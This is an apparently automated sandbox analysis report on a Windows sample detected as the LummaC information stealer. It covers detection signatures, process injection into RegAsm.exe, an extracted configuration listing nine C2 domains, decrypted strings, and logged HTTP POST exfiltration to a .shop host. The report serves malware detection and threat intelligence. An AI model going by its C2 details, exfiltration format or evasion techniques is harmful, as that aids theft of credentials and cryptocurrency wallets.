Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1433969
MD5:	665359fe7ad7626ffde7260978ec9470
SHA1:	4bf1009eeab5f6644e2caa1305623cc4ced5ea83
SHA256:	7bde1d12ff1ce50967e116119f003ae93e51198b12c06d3cee85a4199389489a
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6792 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 665359FE7AD7626FFDE7260978EC9470)

RegAsm.exe (PID: 344 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "greetclassifytalk.shop"], "Build id": "4sxFKu--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:55.347963
SID:	2052037
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:49.982146
SID:	2052037
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:50.754198
SID:	2052037
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:54.457656
SID:	2052037
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:52.727126
SID:	2052037
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:58.825440
SID:	2052037
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:53.635615
SID:	2052037
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/30/24-11:44:49.867931
SID:	2052028
Source Port:	58505
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/30/24-11:44:56.091210
SID:	2052037
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://greetclassifytalk.shop/api	Avira URL Cloud: Label: malware
Source: https://greetclassifytalk.shop:443/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 1.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "greetclassifytalk.shop"], "Build id": "4sxFKu--"}

Multi AV Scanner detection for domain / URL

Source: demonstationfukewko.shop	Virustotal: Detection: 20%	Perma Link
Source: shortsvelventysjo.shop	Virustotal: Detection: 19%	Perma Link
Source: incredibleextedwj.shop	Virustotal: Detection: 14%	Perma Link
Source: productivelookewr.shop	Virustotal: Detection: 16%	Perma Link
Source: liabilitynighstjsko.shop	Virustotal: Detection: 17%	Perma Link
Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%	Perma Link
Source: https://greetclassifytalk.shop/api	Virustotal: Detection: 11%	Perma Link
Source: alcojoldwograpciw.shop	Virustotal: Detection: 20%	Perma Link
Source: https://greetclassifytalk.shop:443/api	Virustotal: Detection: 11%	Perma Link
Source: shatterbreathepsw.shop	Virustotal: Detection: 17%	Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: productivelookewr.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: greetclassifytalk.shop
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 4sxFKu--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00416C6A CryptUnprotectData,

1_2_00416C6A

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003A7331 FindFirstFileExW,

0_2_003A7331

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_003DE0F4
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_003DE0F6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+20h]	0_2_003D80CC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	0_2_003D1CD7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	0_2_003D1CD7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi]	0_2_003F6400
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+7Ch]	0_2_003D244E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_003D07DB
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [004457B4h]	0_2_003CC83E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [edi+ecx], 00000000h	0_2_003E0880
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, dword ptr [ebp+00h]	0_2_003B9083
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then add ecx, dword ptr [esp+edx*4+38h]	0_2_003B9083
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_003D29A5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], di	0_2_003D29A5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], di	0_2_003D29A5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_003DE980
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_003BC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_003E2A4D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	0_2_003DCB18
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_003F0C70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	0_2_003CCCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_003F8DF6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_003FB0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	0_2_003CB133
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [004585FCh]	0_2_003F738E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	0_2_003F7422
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_003C7590
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	0_2_003F761E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, ebx	0_2_003BD710
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	0_2_003CD813
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	0_2_003CD813
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edx], cl	0_2_003C39B0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then test edi, edi	0_2_003F99E9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_003CFAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_003F7B79
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_003D5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	0_2_003CDC74
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push edi	0_2_003DFC70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	0_2_003D1CD7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	0_2_003D1CD7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+000008A0h]	0_2_003D9D0A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_003D7EB7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	1_2_0043D21E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_004163DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	1_2_004185A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], di	1_2_004185A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], di	1_2_004185A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	1_2_004156B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	1_2_004178D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	1_2_004178D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_00440CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+7Ch]	1_2_0041804E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi]	1_2_0043C000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [ebp+00h]	1_2_00408010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add ecx, dword ptr [esp+edx*4+38h]	1_2_00408010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_0043D022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	1_2_0040D190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebx	1_2_00403310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_00413413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_00413413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [004457B4h]	1_2_0041243E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [edi+ecx], 00000000h	1_2_00426480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_004025E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then test edi, edi	1_2_0043F5E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_00424580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], cl	1_2_004095B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_0042864D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_0043D779
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	1_2_00422718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push edi	1_2_00425870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_00436870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	1_2_00413874
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0041B810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_004128D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+000008A0h]	1_2_0041F90A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_0043E9F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00423CF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00423CF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_00410D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	1_2_004178D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	1_2_004178D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_0041DECA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+20h]	1_2_0041DECA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [004585FCh]	1_2_0043CF8E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052028 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) 192.168.2.4:58505 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49730 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49731 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49732 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49733 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49734 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49735 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49736 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49737 -> 172.67.177.98:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: greetclassifytalk.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7079Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1394Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587100Host: greetclassifytalk.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: greetclassifytalk.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop

Source: RegAsm.exe, 00000001.00000002.1730875734.00000000006FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1731419929.000000000076B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/
Source: RegAsm.exe, 00000001.00000002.1731031768.0000000000716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop//
Source: RegAsm.exe, 00000001.00000002.1730875734.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1731419929.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/api
Source: RegAsm.exe, 00000001.00000002.1730875734.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/apiM
Source: RegAsm.exe, 00000001.00000002.1730875734.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop:443/api

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
